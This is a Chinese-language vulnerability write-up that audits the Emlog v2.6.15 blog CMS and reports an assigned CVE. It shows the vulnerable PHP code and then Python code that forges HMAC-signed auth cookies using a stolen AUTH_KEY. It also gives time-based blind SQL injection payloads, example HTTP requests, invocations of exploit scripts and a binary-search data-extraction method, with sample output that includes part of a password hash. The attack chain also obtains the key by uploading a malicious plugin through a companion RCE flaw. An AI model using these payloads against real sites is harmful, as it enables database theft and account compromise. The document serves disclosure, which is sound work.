EMLOG 是一款轻量级开源博客和CMS建站系统
今天给大家带来Emlog v2.6.15的代码审计,记录从审计到发现SQL注入复现的全过程。
1. 漏洞根源代码
文件路径:include/model/user_model.php 87–97 行
```php
public function getUserDataByLogin($account)
{
// $account is directly interpolated — no sanitization whatsoever
$ret = $this->db->once_fetch_array(
"SELECT * FROM " . DB_PREFIX . "user WHERE username = '$account'"
);
if (!$ret) {
$ret = $this->db->once_fetch_array(
"SELECT * FROM " . DB_PREFIX . "user WHERE email = '$account'"
);
}
}
```
问题:外部可控参数$account直接使用单引号拼接 SQL,未转义、未使用预编译语句,存在标准 SQL 注入风险。
2. 两条代码调用路径,仅路径 B 可被利用
路径 | 触发入口 | 输入过滤逻辑 | 是否可利用 |
|---|---|---|---|
A 登录表单 | POST /admin/account.php?action=dosignin | Input::postStrVar() → addslashes() |
|
B 认证 Cookie | 任意 POST 请求,携带 EM_AUTHCOOKIE_xxx Cookie 参数 | 无任何过滤;执行 SQL 前仅 HMAC 签名校验 |
|
3. 路径 B:认证 Cookie 注入完整流程
文件路径:include/lib/loginauth.php 115–148 行
public static function validateAuthCookie($cookie = '')
{
$cookie_elements = explode('|', $cookie);
list($username, $expiration, $hmac) = $cookie_elements; // $username 原始未过滤
// 先执行HMAC签名校验,校验失败直接退出,无法进入SQL查询
$key = self::emHash($username . '|' . $expiration);
$hash = hash_hmac('md5', $username . '|' . $expiration, $key);
if ($hmac !== $hash) return false;
$userData = self::getUserDataByLogin($username); // 注入点:未过滤用户名带入SQL
}
服务端 HMAC 签名算法(攻击者本地复现需要 AUTH_KEY)
```python
data = f"{username}|{expiration}".encode()
key = hmac.new(AUTH_KEY, data, hashlib.md5).hexdigest()
hmac = hmac.new(key.encode(), data, hashlib.md5).hexdigest()
cookie = f"{username}|{expiration}|{hmac}"
```
4. 为什么必须伪造 HMAC 签名、原理说明
Cookie 固定格式:用户名|过期时间|HMAC签名
签名是对用户名|过期时间两段内容做 MD5-HMAC 运算生成,存在两点限制:
正常登录 Cookie 无法篡改注入
正常登录 Cookie 示例:test@test.com|9999999999|原始签名
如果直接修改用户名添加注入载荷:test@test.com' OR SLEEP(5)#|9999999999|原始签名
签名内容和原始数据不匹配,服务端校验直接失败,无法进入 SQL 逻辑。
登录表单被 addslashes 防护
登录提交账号时会执行addslashes()转义所有单 / 双引号,无法提交闭合 SQL 的特殊字符,表单通道彻底无法注入。
核心利用条件:持有 AUTH_KEY 攻击者拿到密钥后,可在本地对任意注入载荷计算合法 HMAC 签名,构造能通过服务端校验的恶意 Cookie:
```python
# 使用已知AUTH_KEY,为任意SQL注入载荷生成合法签名
data = f"{注入载荷}|{过期时间}".encode()
key = hmac.new(AUTH_KEY, data, hashlib.md5).hexdigest()
hash = hmac.new(key.encode(), data, hashlib.md5).hexdigest()
# 构造可通过校验的伪造Cookie
cookie = f"{注入载荷}|{过期时间}|{hash}"
```
5. 获取 AUTH_KEY 的权限逻辑
AUTH_KEY是定义在config.php中的 PHP 常量,网页无法直接访问读取。
Emlog 权限体系:
uid=1 创始人账号:可批量创建多个管理员账号
所有role=admin管理员账号均拥有完整插件上传权限
攻击链:攻陷任意管理员账号 → 利用配套 RCE 漏洞上传恶意插件 → 读取 config.php 拿到 AUTH_KEY
创始人创建的所有管理员账号都会扩大攻击面,只要任一管理员账号泄露,即可完整打通攻击链路(RCE 获取密钥→SQL 注入拖库)。
Cookie 内容:admin' AND SLEEP(3)#|9999999999|伪造合法签名
程序按|分割字符串,$username = "admin' AND SLEEP(3)#",无过滤;
HMAC 校验通过(攻击者持有密钥);
调用getUserDataByLogin拼接 SQL:
SELECT * FROM emlog_user WHERE username = 'admin' AND SLEEP(3)#'
触发时间盲 SQL 注入,页面延迟 3 秒返回。
6. 利用前置条件对照表
参数 | 存储位置 | 获取方式 |
|---|---|---|
AUTH_COOKIE_NAME | 用户登录响应 Set-Cookie 头 | 网站任意注册用户登录即可捕获,全站固定 |
AUTH_KEY | 服务端 config.php | 管理员账号利用配套 RCE 上传木马读取 |
Emlog CMS Pro、PHP7.3 及以上、MySQL5.7 及以上、Nginx/Apache
步骤 1:通过配套 RCE 漏洞读取密钥python get_key.py http://目标站点/ 管理员账号 管理员密码
# 程序输出结果示例
# AUTH_KEY = $P$Br.Fzr9wAhzmTTgxxtvC6dCc0L7ycI.
# AUTH_COOKIE_NAME = EM_AUTHCOOKIE_9ed8de34339916b4fe2bac8536b2f562fa830633
步骤 2:延时注入验证(SLEEP 时间盲注)
python sqli_reproduce.py http://目标站点/ \
'$P$Br.Fzr9wAhzmTTgxxtvC6dCc0L7ycI.' \
EM_AUTHCOOKIE_9ed8de34339916b4fe2bac8536b2f562fa830633
# 输出延时对比
[1] 正常用户admin基准响应:0.11秒
[2] 载荷 admin' AND SLEEP(3):3.11秒(注入触发成功)
[3] 载荷 不存在用户' OR SLEEP(5):10.12秒(函数执行两次查询,延时5*2)
步骤 3:HTTP 请求对比
# 正常请求(响应200ms)
POST /
Cookie: EM_AUTHCOOKIE_xxx=admin|9999999999|正常签名
# 注入请求(响应3.2秒)
POST /
Cookie: EM_AUTHCOOKIE_xxx=admin' AND SLEEP(3) AND '1'='1|9999999999|伪造签名
步骤 4:二分法盲注提取数据库数据
python exp.py --url http://目标站点/ --key '密钥' --cookie-name 'Cookie名称' --verify-only
利用ASCII(SUBSTRING(查询语句,字符位置,1)) > 数字 AND SLEEP(1)二分逐字符猜解,可读取任意数据库数据:
查询语句 | 提取结果 |
|---|---|
SELECT DATABASE() | cs(当前数据库名) |
SELECT USER() | |
SELECT username FROM emlog_user WHERE uid=1 | admin |
SELECT SUBSTRING(password,1,20) FROM emlog_user WHERE uid=1 | PBfP/WdSH3TSeNWPig... |
可完整导出全部用户账号密码哈希。
该漏洞已提交Github并分配CVE编号为:CVE-2026-53756
原文地址:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX